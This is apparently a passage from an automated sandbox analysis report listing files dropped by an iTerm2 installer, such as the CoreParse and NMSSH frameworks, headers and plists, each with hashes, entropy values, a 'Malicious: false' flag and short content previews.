MD5:	68B603F4C1025739C516CED572C4CF06
SHA1:	999CD63D6D03C069033CAF44B6DDD33CDA8A27C0
SHA-256:	0B03A736EB50AF06D3AAD05CF5D4AE86C16D197ECBE813775AD0D67C8B708B6A
SHA-512:	A60D9762CCF438FA2885D2C6826476B47A1B91F46CB9622BE816704D3973D52626503588759A2F851620FFBEA66683D7440CD78AF39E7AAE79B9C6F8174856CB
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">.<plist version="1.0">.<dict>..<key>files</key>..<dict>...<key>Resources/ActiveEscapeHatch.tiff</key>...<data>...DUrRx5gRi7OwoI1YwjgYiRstKys=...</data>...<key>Resources/ActiveEyedropper.tiff</key>...<data>...fgap0RD8MG/GoxPTjE2wToTArNk=...</data>...<key>Resources/Add.tiff</key>...<data>...pkd7msrEgrWoaanj/JENOOXIEGU=...</data>...<key>Resources/EscapeHatch.tiff</key>...<data>...NIgDFfYCHuOyoR14BQWuAPGPZQY=...</data>...<key>Resources/Eyedropper.tiff</key>...<data>...XCG7oHlzPmrwHzbMmxtCt1iQMbI=...</data>...<key>Resources/HSB.tiff</key>...<data>...2gr030z9N+gtsy/BwwImXMEO3Ig=...</data>...<key>Resources/Info.plist</key>...<data>...VVFXExgLMv3F/oSZ2yFXBt78S10=...</data>...<key>Resources/NoColor.tiff</key>...<data>...wF3bTes15kSIIe0UHWGMrgWoFsk=...</data>...<key>Resources/RGB.tiff</key>...<data>...ykR2yvZSpubqoTeHKk77RvVSadc=...</data>...<key>Resources/

/Applications/iTerm.app/Contents/Frameworks/CoreParse.framework/Versions/A/CoreParse Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Mach-O fat file with 2 architectures
Category:	dropped
Size (bytes):	652784
Entropy (8bit):	5.2521111505223255
Encrypted:	false
SSDEEP:	6144:jwqVmN55jQznQjawWPZ8q2W7Z3q81z3Pmh1yKr7ufOd0g3/uvWIHBaDTei8k7PnY:jPp1z3Pmh1ySRQ
MD5:	8694A305C724FBA17C76446F82951502
SHA1:	48EBBE37A65AB2C4B40674052221ACC461F78B2E
SHA-256:	89EB7449540A4B34AC01E2B0BC882D34F1023F470A8A0ED9E76A0204DDBC27F8
SHA-512:	4B141E674820FA1A34B7273400FAF8F827E1157861EB27EC2942B4A9C81569CA6F8AB496C8F88739EB702E4218363884AE6E2416B88C7826B9A9A4710C6BEB4F
Malicious:	false
Reputation:	low
Preview:	..................@...................@.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

/Applications/iTerm.app/Contents/Frameworks/CoreParse.framework/Versions/A/Resources/Info.plist Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	XML document text
Category:	dropped
Size (bytes):	1476
Entropy (8bit):	5.176624121345292
Encrypted:	false
SSDEEP:	24:2dfyiwBW7w6NwZKdMa6f42ReJG0gp/sH2Pgpjee5YCMGJ//fX+Lkg:cfyfStwZScfjMJG0giH2IpSctXJ/H+Lh
MD5:	BAA7FCCFA8B59F6058EA83B7D192CA07
SHA1:	839923D310E57817F33787206DC7B5255A2C2136
SHA-256:	95B7A44AA2807206BC6BF3575B84B0E30881AF8C1503CBF9290B48420248C628
SHA-512:	57BA5D0B4F9E95AF9E3F7F0FE504166CAB2956D101039DAD379A96795DE0E600BDA55067D1161873E77F4AEF5EA3530CE0E9ED54004C1152F1F1C305F41A5FCD
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">.<plist version="1.0">.<dict>..<key>BuildMachineOSBuild</key>..<string>20A5299w</string>..<key>CFBundleDevelopmentRegion</key>..<string>English</string>..<key>CFBundleExecutable</key>..<string>CoreParse</string>..<key>CFBundleIdentifier</key>..<string>com.inthebeginninggames.CoreParse</string>..<key>CFBundleInfoDictionaryVersion</key>..<string>6.0</string>..<key>CFBundleName</key>..<string>CoreParse</string>..<key>CFBundlePackageType</key>..<string>FMWK</string>..<key>CFBundleShortVersionString</key>..<string>1.1</string>..<key>CFBundleSignature</key>..<string>????</string>..<key>CFBundleSupportedPlatforms</key>..<array>...<string>MacOSX</string>..</array>..<key>CFBundleVersion</key>..<string>1</string>..<key>DTCompiler</key>..<string>com.apple.compilers.llvm.clang.1_0</string>..<key>DTPlatformBuild</key>..<string>12A8158a</string>..<key>DTPlatfor

/Applications/iTerm.app/Contents/Frameworks/CoreParse.framework/Versions/A/Resources/en.lproj/InfoPlist.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode C program text
Category:	dropped
Size (bytes):	92
Entropy (8bit):	3.2610300066712608
Encrypted:	false
SSDEEP:	3:Qwh+yEilSlJlqXMLLkFlVlRDBWjUoFY9n:QpXioJqcLwVlRNWwou9n
MD5:	51EF59B60E5B41B91519CC662A9FE886
SHA1:	3222CA0C39EB50AAF8126BAF852E55430C4718AF
SHA-256:	39CF2EE07B7B333E7C179D0BF4D798A5B72AF6A4E584F51E642703BBFA4FC828
SHA-512:	3952A908B72D44040F5072F6344F6327FC78981C3AA55E931ACAE84C0C9BCC0D148991CD564AF4803765C328CBF5F7EFE9EB558FC56E47E8206B7B706026F30A
Malicious:	false
Reputation:	low
Preview:	../.. .L.o.c.a.l.i.z.e.d. .v.e.r.s.i.o.n.s. .o.f. .I.n.f.o...p.l.i.s.t. .k.e.y.s. ../.....

/Applications/iTerm.app/Contents/Frameworks/CoreParse.framework/Versions/A/_CodeSignature/CodeResources Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	XML document text
Category:	dropped
Size (bytes):	3057
Entropy (8bit):	4.997827500141877
Encrypted:	false
SSDEEP:	48:cfyGEz8zcSv+dJpTSEsP0v6mef/GvH1qOPOBLSejzFXDj9KHhamOn/GvH1qOvzXk:CyGEz8zctPpTSEsPIkYT2BLDzFNQpO/F
MD5:	9599E4205F40A250C17F49D315E15AB4
SHA1:	BB17240AC74D6AAFA7EA4E22EDFA5C7A963A2C82
SHA-256:	6859B55C83FA63B5F1EC146620CCD61D9558C314D9D6E5A0399559364E2AC91F
SHA-512:	5575DA694C64E526C9F5B6EFFEF34653AB78189B09EA3AD1C7E0A5EE91D68B91854C1A1EA78A167856301D425EFC0586B83C5CF65639E80FDE7C3567C83CAD48
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">.<plist version="1.0">.<dict>..<key>files</key>..<dict>...<key>Resources/CoreParse-template.md</key>...<data>...2jmj7l5rSw0yVb/vlWAYkK/YBwk=...</data>...<key>Resources/Info.plist</key>...<data>...g5kj0xDleBfzN4cgbce1JVosITY=...</data>...<key>Resources/en.lproj/InfoPlist.strings</key>...<dict>....<key>hash</key>....<data>....MiLKDDnrUKr4EmuvhS5VQwxHGK8=....</data>....<key>optional</key>....<true/>...</dict>..</dict>..<key>files2</key>..<dict>...<key>Resources/CoreParse-template.md</key>...<dict>....<key>hash2</key>....<data>....47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....</data>...</dict>...<key>Resources/Info.plist</key>...<dict>....<key>hash2</key>....<data>....lbekSqKAcga8a/NXW4Sw4wiBr4wVA8v5KQtIQgJIxig=....</data>...</dict>...<key>Resources/en.lproj/InfoPlist.strings</key>...<dict>....<key>hash2</key>....<data>....Oc8u4Ht7Mz58F50L9NeYpbcq9q

/Applications/iTerm.app/Contents/Frameworks/NMSSH.framework/Versions/A/Headers/NMSFTP.h Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	ASCII English text
Category:	dropped
Size (bytes):	9367
Entropy (8bit):	4.813740246964007
Encrypted:	false
SSDEEP:	192:LuLzjP7QlweazV6o+393QQj/Omp3t3Q0i3Oms3bQxOOmjIf7KM3O1XIf7JkAO1sW:LMzp6Dt3QYOY3t3u3OD3b3OWK7KM3OF5
MD5:	3894AED66D90F13A93A28AE8064B541E
SHA1:	34F57910CEDF3DE8E87DF55613D78B05A29677C8
SHA-256:	CA9CD58441472ACD700ADB190E81E087F25528AD24626DC33A0336F0C904F8A7
SHA-512:	92045657180617BD80E8702897E940CFF591D06F77C89EC7EE284AECF158F10867E7946922F00D771643AF5387856E780A7159021B391533694B81450BA642AE
Malicious:	false
Reputation:	low
Preview:	#import "NMSSH.h"..@class NMSSHSession, NMSFTPFile;../*. NMSFTP provides functionality for working with SFTP servers.. /.@interface NMSFTP : NSObject../** A valid NMSSHSession instance /.@property (nonatomic, nonnull, readonly) NMSSHSession session;../** Property that keeps track of connection status to the server /.@property (nonatomic, readonly, getter = isConnected) BOOL connected;../* Property that set/get read buffer size /.@property (nonatomic) NSUInteger bufferSize;..///-----------------------------------------------------------------------------./// @name Initializer./// ----------------------------------------------------------------------------../. Create a new NMSFTP instance and connect it... @param session A valid, connected, NMSSHSession instance. @returns Connected NMSFTP instance. /.+ (nonnull instancetype)connectWithSession:(nonnull NMSSHSession )session;../*. Create a new NMSFTP instance... @param session A valid, connected, NMSSHSession instance. @returns

/Applications/iTerm.app/Contents/Frameworks/NMSSH.framework/Versions/A/Headers/NMSFTPFile.h Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	ASCII English text
Category:	dropped
Size (bytes):	2273
Entropy (8bit):	4.868044691036222
Encrypted:	false
SSDEEP:	48:HTcXS8JbG4a8GzCGSM4bGG4GXHGSMqbGYMvuX:HIXS81lX
MD5:	2685788C0715116C9B28F0B9C288CA2D
SHA1:	CE1EA0E1212295AE36DAA08C4E022B758A34DFF2
SHA-256:	CA081E1250EE08D6E74ADF6BCF1D094728153A6D43A4AE6FF23A8DDFC7AF136D
SHA-512:	71C464A92A9939C8711DE363C415CDDD78DA3F55DF5E888DC1FDFB6F6FDEE3193EC59B3A20889D24537B2D1A1A9D941CA66DE0E04D5F9836A25CB574937E385D
Malicious:	false
Reputation:	low
Preview:	#import "NMSSH.h"../*. The NMSFTPFile class provides an interface to store file attributes retrieved . from a SFTP host.. /.@interface NMSFTPFile : NSObject <NSCopying>../*. Property that stores the name of the underlaying file. . Note that the file may also be a directory.. /.@property (nonatomic, nonnull, readonly) NSString filename;../* Property that declares whether the file is a directory or a regular file /.@property (nonatomic, readonly) BOOL isDirectory;../* Returns the last modification date of the file /.@property (nonatomic, nullable, readonly) NSDate modificationDate;../** Returns the date of the last access to the file /.@property (nonatomic, nullable, readonly) NSDate lastAccess;../** Property that returns the file size in bytes /.@property (nonatomic, nullable, readonly) NSNumber fileSize;../** Returns the numeric identifier of the user that is the owner of the file /.@property (nonatomic, readonly) unsigned long ownerUserID;../* Returns the numeric ident

/Applications/iTerm.app/Contents/Frameworks/NMSSH.framework/Versions/A/Headers/NMSSH.h Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	ASCII text
Category:	dropped
Size (bytes):	357
Entropy (8bit):	4.798221395441831
Encrypted:	false
SSDEEP:	6:VfKswbNWmbA5eJitKpdtKxs8mK0pCdm+dvTCXVmK0g8m+dFNdmY5+8mYFmVm0MmW:VUbYHA6W/JKX8+VWX0Kv+F8b50i/+
MD5:	2E0C23EADE152E5ED3F22433053AF12A
SHA1:	A17CD41307128D6363A4A5738519D619CB67753D
SHA-256:	B6AA7B5108DCECFEE64454D25872C3E2CE4EE78DDCAB9236414B56B10412DB79
SHA-512:	69B175806BC4BBBD707EBCE2B65009583DF81C444006FE5FECB3807CC5A03B5B8711DD0D86986D4A8A75FD2FF06BA6F34AC7603797B84C70F49BF3647139AE9D
Malicious:	false
Reputation:	low
Preview:	#import <Foundation/Foundation.h>..#ifndef _NMSSH_.#define _NMSSH_..#import "libssh2.h".#import "libssh2_sftp.h"..#import "NMSSHSessionDelegate.h".#import "NMSSHChannelDelegate.h"..#import "NMSSHSession.h".#import "NMSSHChannel.h".#import "NMSFTP.h".#import "NMSFTPFile.h".#import "NMSSHConfig.h".#import "NMSSHHostConfig.h"..#import "NMSSHLogger.h"..#endif

/Applications/iTerm.app/Contents/Frameworks/NMSSH.framework/Versions/A/Headers/NMSSHChannel.h Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	UTF-8 Unicode C++ program text
Category:	dropped
Size (bytes):	8439
Entropy (8bit):	4.831698284152461
Encrypted:	false
SSDEEP:	192:AamT6qrrMmCUCICpOQynt/9bdmw6PuOQuPOx+woaq:qTVPvPVfZHmP2xov
MD5:	745E00C008E1C46DCC1C51E3C1D6C5E6
SHA1:	B7C40E4FC054057B2FAE1F2CF3F3F389278CC7B1
SHA-256:	F65C1BF83DEBE881C403BE27C0175B63FFB57D283D07583587E5C8E7B3F01171
SHA-512:	E325090997A016CE39CF66378FF45851210A075F6CBF28C69C1F308AFD69D8482F90ED23A9737507AD325FCE8FA167EC03BA9F85F637E477817FC4B927569D62
Malicious:	false
Reputation:	low
Preview:	#import "NMSSH.h"..@class NMSSHSession;.@protocol NMSSHChannelDelegate;..typedef NS_ENUM(NSInteger, NMSSHChannelError) {. NMSSHChannelExecutionError,. NMSSHChannelExecutionResponseError,. NMSSHChannelRequestPtyError,. NMSSHChannelExecutionTimeout,. NMSSHChannelAllocationError,. NMSSHChannelRequestShellError,. NMSSHChannelWriteError,. NMSSHChannelReadError.};..typedef NS_ENUM(NSInteger, NMSSHChannelPtyTerminal) {. NMSSHChannelPtyTerminalVanilla,. NMSSHChannelPtyTerminalVT100,. NMSSHChannelPtyTerminalVT102,. NMSSHChannelPtyTerminalVT220,. NMSSHChannelPtyTerminalAnsi,. NMSSHChannelPtyTerminalXterm.};..typedef NS_ENUM(NSInteger, NMSSHChannelType) {. NMSSHChannelTypeClosed, // Channel = NULL. NMSSHChannelTypeExec,. NMSSHChannelTypeShell,. NMSSHChannelTypeSCP,. NMSSHChannelTypeSubsystem // Not supported by NMSSH framework.};../*. NMSSHChannel provides functionality to work with SSH shells and SCP.. /.@interface NMSSHChannel : NSObje

/Applications/iTerm.app/Contents/Frameworks/NMSSH.framework/Versions/A/Headers/NMSSHChannelDelegate.h Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	ASCII English text
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	4.557941462947157
Encrypted:	false
SSDEEP:	24:0FfZlXQmfczJ76A9yzJI6a7uczI6wxtyzJI6+T+8TV8N:mbXQPzIc3lSCN
MD5:	3C86F295B820847F357DAC22C87FF231
SHA1:	0CEE36B361231DDC953CE70B7B7EA2FAB6A1487A
SHA-256:	095F4EE59534E9C3D2169126F38F89A537A6816B5A2207932C1C45728BE7D5F6
SHA-512:	4D26DCE5F526F3D8A1DBCC4E85725ACFC2FBD2551CB6CFEFC06F6B20656EABE077B03DEFFF71FF18ACB120ADA23994313EFB69983C312C8F7F655CFBFF985C02
Malicious:	false
Reputation:	low
Preview:	#import "NMSSH.h"..@class NMSSHChannel;../*. Protocol for registering to receive messages from an active NMSSHChannel.. /.@protocol NMSSHChannelDelegate <NSObject>..@optional../*. Called when a channel read new data on the socket... @param channel The channel that read the message. @param message The message that the channel has read. /.- (void)channel:(nonnull NMSSHChannel )channel didReadData:(nonnull NSString )message;../*. Called when a channel read new error on the socket... @param channel The channel that read the error. @param error The error that the channel has read. /.- (void)channel:(nonnull NMSSHChannel )channel didReadError:(nonnull NSString )error;../*. Called when a channel read new data on the socket... @param channel The channel that read the message. @param data The bytes that the channel has read. /.- (void)channel:(nonnull NMSSHChannel )channel didReadRawData:(nonnull NSData )data;../**. Called when a channel read new error on the socket... @param chan

/Applications/iTerm.app/Contents/Frameworks/NMSSH.framework/Versions/A/Headers/NMSSHConfig.h Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	ASCII English text
Category:	dropped
Size (bytes):	1121
Entropy (8bit):	4.780602537386005
Encrypted:	false
SSDEEP:	24:0vrFCKGR56o3sjA6Q8UhGPnhjoGxKuRhT1BnoGOKpRtBx+sZ90:eFCv6o3IrKGPxoGxdhBnoGO0x+q90
MD5:	B5B9AB7B18B6AFB57E475B62031BD3EE
SHA1:	42099A80A2F35493E69389F375A8B1A27808691E
SHA-256:	17EB8C37479E364F272570562152E1DE20EE3304A40C5E09D5460AEB31236154
SHA-512:	A18D815BA53B6323708CC1BBBA747A2A8DD45AD9E3C29C8E2822947071F8EBCE6C37A6AED9A84835D31B35AAA1584A882B046BD6AAA4B0CEF52022C9B0BE57C7
Malicious:	false
Reputation:	low
Preview:	#import "NMSSH.h"..@class NMSSHHostConfig;../*. NMSSHConfig parses ssh config files and returns matching entries for a given. host name.. /.@interface NMSSHConfig : NSObject../** The array of parsed NMSSHHostConfig objects. /.@property (nonatomic, nonnull, readonly) NSArray<NMSSHHostConfig > hostConfigs;../. Creates a new NMSSHConfig, reads the given {filename} and parses it... @param filename Path to an ssh config file.. @returns NMSSHConfig instance or nil if the config file couldn't be parsed.. /.+ (nullable instancetype)configFromFile:(nonnull NSString )filename;../. Initializes an NMSSHConfig from a config file's contents in a string... @param contents A config file's contents.. @returns An NMSSHConfig object or nil if the contents were malformed.. /.- (nullable instancetype)initWithString:(nonnull NSString )contents;../*. Searches the config for an entry matching {host}... @param host A host name to search for.. @returns An NMSSHHostConfig object whose patterns matc

/Applications/iTerm.app/Contents/Frameworks/NMSSH.framework/Versions/A/Headers/NMSSHHostConfig.h Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	ASCII English text
Category:	dropped
Size (bytes):	1586
Entropy (8bit):	4.712122006847738
Encrypted:	false
SSDEEP:	24:0LG8OEX4NKnxmxYoArLMn8uLOqpMDTOTwM02lRwIFRIUMI/UIzWG9Iayxj0URZ9f:kVbKArA8DqWDSLJLjsjlO0
MD5:	4AB1FD857F5765192A0964DAB9BCE9BA
SHA1:	17521A856C581A9B5CA04B99B6AA64943FCFBD95
SHA-256:	12CE712F517CA51D8D3283308380C4644530EAF1D0D93A6CFF998D71A8939AB7
SHA-512:	F59AE24B48C81136915C5052C5BCA96BFB994E5912FD343DA0FFB4AB1C035ABBCCCFE66FA5758BCFF051985CE929DF4F2C3EC28C49F5757C7EAFE0EFA4FC4BE6
Malicious:	false
Reputation:	low
Preview:	#import "NMSSH.h"../*. NMSSHHostConfig describes a single host's configuration.. /.@interface NMSSHHostConfig : NSObject../*. Patterns specified in the config file.. /.@property(nonatomic, strong) NSArray hostPatterns;../. Specifies the real host name to log into. If the hostname contains the. character sequence `%h', then the client should replace this with the. user-specified host name (this is useful for manipulating unqualified names).. This may be an IP address.. /.@property(nonatomic, strong) NSString hostname;../. Specifies the user name to log in as.. /.@property(nonatomic, strong) NSString user;../. Specifies the port number to connect on the remote host.. /.@property(nonatomic, strong) NSNumber port;../*. Specifies alist of file names from which the user's DSA, ECDSA or RSA. authentication identity are read. It is empty by default. Tildes will be. expanded to the user's home directory. The client should perform the following. substitutions on each file name:

/Applications/iTerm.app/Contents/Frameworks/NMSSH.framework/Versions/A/Headers/NMSSHLogger.h Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	ASCII English text
Category:	dropped
Size (bytes):	2008
Entropy (8bit):	4.607306358906773
Encrypted:	false
SSDEEP:	48:yRWzIgISIDED2dFcG9bGmQCu/YvYTslVgDjvzTz:vtFaED/Cu/yI7
MD5:	24C894B82768523A0C7A882BF90F1153
SHA1:	C00F022CAE6B25B3EEC8D7C34EB99FF4DC8BB195
SHA-256:	42B96C0C20F359727A401B42098E484D64689DED7CCA33D345FA40712EE305C2
SHA-512:	5B20291EEB701EF63490DF7B7EEFF17ED1EEFE808A5780945AA727B7FDA22EEF3897E432DF4F3F7C441F57AD463DAC1214F344A1FCDF67BB1580D2BABBCD4961
Malicious:	false
Reputation:	low
Preview:	#import "NMSSH.h"..typedef NS_OPTIONS(NSUInteger, NMSSHLogLevel) {. NMSSHLogLevelVerbose = (1 << 0 \| 1 << 1 \| 1 << 2 \| 1 << 3),. NMSSHLogLevelInfo = (1 << 1 \| 1 << 2 \| 1 << 3),. NMSSHLogLevelWarn = (1 << 2 \| 1 << 3),. NMSSHLogLevelError = (1 << 3).};../*. NMSSHLogger provides the functionality to customize the framework logging.. /.@interface NMSSHLogger : NSObject../// ----------------------------------------------------------------------------./// @name Retrieve the shared logger./// ----------------------------------------------------------------------------../*. Retrieve the shared logger instance. . @returns Shared logger. /.+ (nonnull instancetype)logger NS_SWIFT_NAME(shared());../// ----------------------------------------------------------------------------./// @name Logger settings./// ----------------------------------------------------------------------------../**. The block called to print the log message... The default implementation print the log.

/Applications/iTerm.app/Contents/Frameworks/NMSSH.framework/Versions/A/Headers/NMSSHSession.h Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	UTF-8 Unicode English text
Category:	dropped
Size (bytes):	12308
Entropy (8bit):	4.839277506989838
Encrypted:	false
SSDEEP:	384:6QpZzw/IQGkMQZh9nGpkykgg13/kjgtvel:6QrzoIvkMKhdG6Mg13/kUe
MD5:	5D193B1E39844A8F0FF72FE57C54EED4
SHA1:	F75C3EE86FF003F6BF3215143A2316911C89EBE6
SHA-256:	434F0FC17D3F37205220F0ACEF1B10A4D570BF7D269CE6AFBF537ED4C698D9AD
SHA-512:	AC63F78944C10D43895FDEA2EA72B778B1FD13F54D269F83997CE98070CF56DF997BAB9AA5624CFBF0AD99501B79468BA1E1C139D4E049B99BABF2CDF64C0D18
Malicious:	false
Reputation:	low
Preview:	#import "NMSSH.h"..@class NMSSHHostConfig, NMSFTP;.@protocol NMSSHSessionDelegate;..typedef NS_ENUM(NSInteger, NMSSHSessionHash) {. NMSSHSessionHashMD5,. NMSSHSessionHashSHA1.};..typedef NS_ENUM(NSInteger, NMSSHKnownHostStatus) {. NMSSHKnownHostStatusMatch,. NMSSHKnownHostStatusMismatch,. NMSSHKnownHostStatusNotFound,. NMSSHKnownHostStatusFailure.};../*. NMSSHSession provides the functionality required to setup a SSH connection. and authorize against it... In its simplest form it works like this:.. NMSSHSession session = [NMSSHSession connectToHost:@"127.0.0.1:22". withUsername:@"user"];.. if (session.isConnected) {. NSLog(@"Successfully created a new session");. }.. [session authenticateByPassword:@"pass"];.. if (session.isAuthorized) {. NSLog(@"Successfully authorized");. }.. ## Thread safety.. NMSSH classes are not thread safe, you should use them from the same thread. where you created the

/Applications/iTerm.app/Contents/Frameworks/NMSSH.framework/Versions/A/Headers/NMSSHSessionDelegate.h Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	ASCII English text
Category:	dropped
Size (bytes):	1259
Entropy (8bit):	4.6856955305933585
Encrypted:	false
SSDEEP:	24:0NIfZlX4SEwiVSFTMWHMqk4soStAajj5lpgUMqk4s1u5ZQnUUdUMqk4BdLIbxu2f:5bXDwSFTMScAS1UTIgUiyau20al
MD5:	96BBE5DC2438853B17F1E8579CCA6BE2
SHA1:	CD9673AB9665F57BB25ACE29DB6AFDF89EB4FB1C
SHA-256:	E090FFCE6BDFD82E871909437B2EDB4E6A9049FBF3428798EF4FE0D7B5141612
SHA-512:	BD583F9D53AED634936063D51BE098450EC40977A7F917E210B66CB0048534127568D306D95408170B8140284948E050F3FB9DB5217F9FC9FB50AEBD1D768300
Malicious:	false
Reputation:	low
Preview:	#import "NMSSH.h"..@class NMSSHSession;../*. Protocol for registering to receive messages from an active NMSSHSession.. /.@protocol NMSSHSessionDelegate <NSObject>.@optional../*. Called when the session is setup to use keyboard interactive authentication,. and the server is sending back a question (e.g. a password request)... @param session The session that is asking. @param request Question from server. @returns A valid response to the given question. /.- (nonnull NSString )session:(nonnull NMSSHSession )session keyboardInteractiveRequest:(nonnull NSString )request;../. Called when a session has failed and disconnected... @param session The session that was disconnected. @param error A description of the error that caused the disconnect. /.- (void)session:(nonnull NMSSHSession )session didDisconnectWithError:(nonnull NSError )error;../**. Called when a session is connecting to a host, the fingerprint is used. to verify the authenticity of the host... @param session The ses

/Applications/iTerm.app/Contents/Frameworks/NMSSH.framework/Versions/A/Headers/libssh2.h Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	ASCII C program text
Category:	dropped
Size (bytes):	53909
Entropy (8bit):	4.820259202794204
Encrypted:	false
SSDEEP:	1536:5DkWnEXvNMdBgCWD2zTbPl8ErkUyyfIM98u:5D3gv8tWD2zTbPl8ErkWfIM98u
MD5:	9FE1AAD86725BA22D1E93E0F8544E5F5
SHA1:	E64CA48ED65518ED0EB8CAEF106DC314888E183F
SHA-256:	2CF9A4940272DAE6E9057248952DB4D997555BAD6AEA0764B7800B5C43829598
SHA-512:	592E83482EB06B51F9107977422B09C29A5E7FCBBAA0F7453822C847AE0F63F17B3AE9F7F028DB7F30C7E738C45CB4A372C8E17D62E5D8D70B70154E766BA0D5
Malicious:	false
Reputation:	low
Preview:	/* Copyright (c) 2004-2009, Sara Golemon <sarag@libssh2.org>. * Copyright (c) 2009-2015 Daniel Stenberg. * Copyright (c) 2010 Simon Josefsson <simon@josefsson.org>. * All rights reserved.. . Redistribution and use in source and binary forms,. * with or without modification, are permitted provided. * that the following conditions are met:. . Redistributions of source code must retain the above. * copyright notice, this list of conditions and the. * following disclaimer.. . Redistributions in binary form must reproduce the above. * copyright notice, this list of conditions and the following. * disclaimer in the documentation and/or other materials. * provided with the distribution.. . Neither the name of the copyright holder nor the names. * of any other contributors may be used to endorse or. * promote products derived from this software without. * specific prior written permission.. . THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND. * CONTRIB

/Applications/iTerm.app/Contents/Frameworks/NMSSH.framework/Versions/A/Headers/libssh2_sftp.h Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	ASCII C program text
Category:	dropped
Size (bytes):	15714
Entropy (8bit):	4.913596657379914
Encrypted:	false
SSDEEP:	192:fArPrs55r3//FMK8nKcpBTeLqb6K7Hv0iHdvc9nFijkbBygpkbNR4U6aEXc:YrPrs55D//DgBTnHv0i9vsH0+U66
MD5:	67BA32F90EEDAEF55A58332A68E41F6F
SHA1:	A2986819D3EFA9EF6F85CB8E88B639F333CFD9DD
SHA-256:	B0B339B944527DDF46E3136E117C34F5438DCCB5E175B9C90267D0831DC51AC3
SHA-512:	A18CD5A929AC1AE721A10462C70CD5C3FBC69C3A759C9EBBA760307F087F6AA88568E5E724D813CFB3449178B2408E46A7864969C5FE297D64BFD4EA57108920
Malicious:	false
Reputation:	low
Preview:	/* Copyright (c) 2004-2008, Sara Golemon <sarag@libssh2.org>. * All rights reserved.. . Redistribution and use in source and binary forms,. * with or without modification, are permitted provided. * that the following conditions are met:. . Redistributions of source code must retain the above. * copyright notice, this list of conditions and the. * following disclaimer.. . Redistributions in binary form must reproduce the above. * copyright notice, this list of conditions and the following. * disclaimer in the documentation and/or other materials. * provided with the distribution.. . Neither the name of the copyright holder nor the names. * of any other contributors may be used to endorse or. * promote products derived from this software without. * specific prior written permission.. . THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND. * CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES,. * INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARR

/Applications/iTerm.app/Contents/Frameworks/NMSSH.framework/Versions/A/NMSSH Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Mach-O fat file with 2 architectures
Category:	dropped
Size (bytes):	5220784
Entropy (8bit):	6.75977332835004
Encrypted:	false
SSDEEP:	98304:rGeSb3NHj+boQayaTWSKwJasCdtPAdfMPFDdw++g:rkh+zzSKw8Dd9AdUNDdwO
MD5:	64531ACD9A32005D1A9460DD24A5509D
SHA1:	2A857AB4DC426D73C66847458F688FBAE58C2E36
SHA-256:	E60D9782A62194770884E3F87694C40F6F2D681AA701502A650B4E1EF277DB78
SHA-512:	8C13B1D54B1069137A5C264BF62E164C123F0AFFDCCA960F67BC0F4E8985D53C4734A073E29589F1B14DF70E1BFB87B8C5AC416F0EE7256F1BBE527A26C09C2E
Malicious:	false
Reputation:	low
Preview:	..................@..)]p.............)...%..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

/Applications/iTerm.app/Contents/Frameworks/NMSSH.framework/Versions/A/Resources/Info.plist Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	XML document text
Category:	dropped
Size (bytes):	1448
Entropy (8bit):	5.2081985313556896
Encrypted:	false
SSDEEP:	24:2dfyiwBW7w6N+6TMa63642Rw0gp/sH2Pgpjee5YCMGJ//fl+w4r:cfyfSt+6Tc36jO0giH2IpSctXJ/V+Br
MD5:	CCB389750879FCD88B0C4B19F8B71D93
SHA1:	B6F4A2F3355494E4C2914182BB2EB4BD75E8A4E9
SHA-256:	ECE02D63643820AE47ED139B5B599B202138551DC11D96EFDEEF8B58A9925001
SHA-512:	4C0D4F73F3AFF9760016BB88C8A4DDBFBA92626813B842405AAC00AE925E491175AE088A670B6CD7790714E335ED6738941E7879FA4F9E04DF0FCDBB8DFD697E
Malicious:	false
Reputation:	low
